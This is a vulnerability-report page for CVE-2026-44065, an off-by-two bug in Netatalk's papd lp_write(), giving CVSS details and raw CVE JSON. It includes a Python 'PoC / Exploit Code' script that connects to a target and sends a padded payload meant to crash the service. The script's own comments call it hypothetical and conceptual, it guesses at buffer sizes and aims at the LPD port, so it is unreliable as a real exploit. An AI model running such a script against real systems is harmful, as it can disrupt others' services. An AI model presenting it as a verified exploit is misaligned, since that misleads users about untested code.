Security Vulnerability Report
中文
CVE-2026-44065 CVSS 4.2 MEDIUM

CVE-2026-44065

Published: 2026-05-21 08:16:22
Last Modified: 2026-05-21 15:20:19
Source: 33c584b5-0579-4c06-b2a0-8d8329fcab9c

Description

An off-by-two error in lp_write() in papd in Netatalk 2.0.0 through 4.4.2 allows an adjacent network attacker to modify limited data or cause a minor service disruption via crafted print data.

CVSS Details

CVSS Score
4.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Netatalk 2.0.0 - 4.4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2026-44065 (Netatalk papd off-by-two) import socket import sys def send_exploit(target_ip, target_port=515): try: # Establish TCP connection to papd service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Hypothetical payload structure to trigger the off-by-two error in lp_write() # Assumes a specific buffer size is checked before write. # Sending data that aligns exactly with the faulty boundary check. # Example payload structure (Conceptual) filename = b"vuln.txt" control_code = b"\x02" # Specific control byte might be needed # Padding to reach the boundary where off-by-two occurs # Size depends on internal buffer size of lp_write, e.g., 1024 payload = control_code + filename + b"\n" + b"A" * 1020 s.send(payload) print(f"[+] Payload sent to {target_ip}:{target_port}") print("[*) Check if service crashed or behavior changed.") s.close() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <TARGET_IP>") else: send_exploit(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44065", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-21T08:16:22.143", "lastModified": "2026-05-21T15:20:19.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An off-by-two error in lp_write() in papd in Netatalk 2.0.0 through 4.4.2 allows an adjacent network attacker to modify limited data or cause a minor service disruption via crafted print data."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-193"}]}], "references": [{"url": "https://netatalk.io/security/CVE-2026-44065", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}